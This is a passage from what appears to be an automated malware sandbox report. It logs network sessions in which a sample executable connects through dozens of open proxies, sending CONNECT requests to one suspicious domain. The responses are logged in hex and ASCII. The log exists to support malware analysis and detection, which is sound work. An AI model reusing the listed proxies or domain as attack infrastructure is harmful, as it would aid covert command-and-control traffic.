Feb 23, 2024 09:45:17.085764885 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Fri, 23 Feb 2024 08:45:16 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>
Feb 23, 2024 09:45:21.263925076 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Fri, 23 Feb 2024 08:45:16 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	49983	166.62.53.45	60186	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.707447052 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:16.115535975 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:16.568635941 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:17.646835089 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	50050	104.19.171.188	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.737467051 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:15.824356079 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:15 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	50007	198.12.253.1	3820	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.743822098 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	50064	104.21.31.189	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.759406090 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:15.847028017 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:15 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	50009	142.54.236.97	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.772588015 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	50108	104.16.105.207	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.804472923 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:15.891434908 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:15 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	50030	213.136.75.85	59058	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.806112051 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	50074	107.180.89.55	25508	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.816179991 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:16.240475893 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:16.693641901 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	49964	8.213.137.155	543	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.816267967 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:18.131100893 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	50122	104.25.230.252	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.819015026 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:15.906696081 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:15 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	50075	5.196.111.30	20481	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.834602118 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	50024	185.132.242.212	8083	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.851027966 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	50095	49.13.116.170	31602	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.879093885 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:16.078393936 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	50163	172.67.182.169	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.881592035 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:15.968518972 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:15 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	49981	221.194.149.8	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.884495020 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:16.740570068 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx/1.19.10 Date: Fri, 23 Feb 2024 08:45:16 GMT Content-Type: text/html Content-Length: 158 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 39 2e 31 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.19.10</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	50101	87.106.114.124	6005	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.892359972 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	50039	195.206.39.222	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.896773100 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:16.490539074 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:17.272557974 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:18.597354889 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	50178	104.25.58.39	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.898127079 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:15.987313032 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:15 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	50134	3.122.84.99	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.911499023 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:16.115727901 CET	148	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 08:45:16 GMT Content-Type: text/plain X-Powered-By: Servlet/2.4 Server: squid/4.14 Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	50123	208.87.131.151	64693	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.911832094 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	50175	23.152.40.14	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.927314043 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	50040	122.116.150.2	9000	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.928715944 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	50115	37.53.103.4	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.936366081 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:16.459263086 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:17.131144047 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:18.646845102 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.334939957 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.122039080 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.641119003 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	50212	138.197.102.119	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.938946009 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:01.950164080 CET	831	IN	HTTP/1.1 500 Internal Server Error Date: Fri, 23 Feb 2024 08:46:01 GMT Server: Apache/2.4.18 (Ubuntu) Content-Length: 639 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 77 65 62 6d 61 73 74 65 72 40 6c 6f 63 61 6c 68 6f 73 74 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 38 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at webmaster@localhost to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.18 (Ubuntu) Server at heygirlisheeverythingyouwantedinaman.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	49929	120.197.40.219	9002	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.948158979 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:16.502190113 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Fri, 23 Feb 2024 08:45:16 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	50213	91.134.140.160	11946	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.955013037 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	50124	201.238.248.139	9229	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.956242085 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:16.474890947 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:17.146739960 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
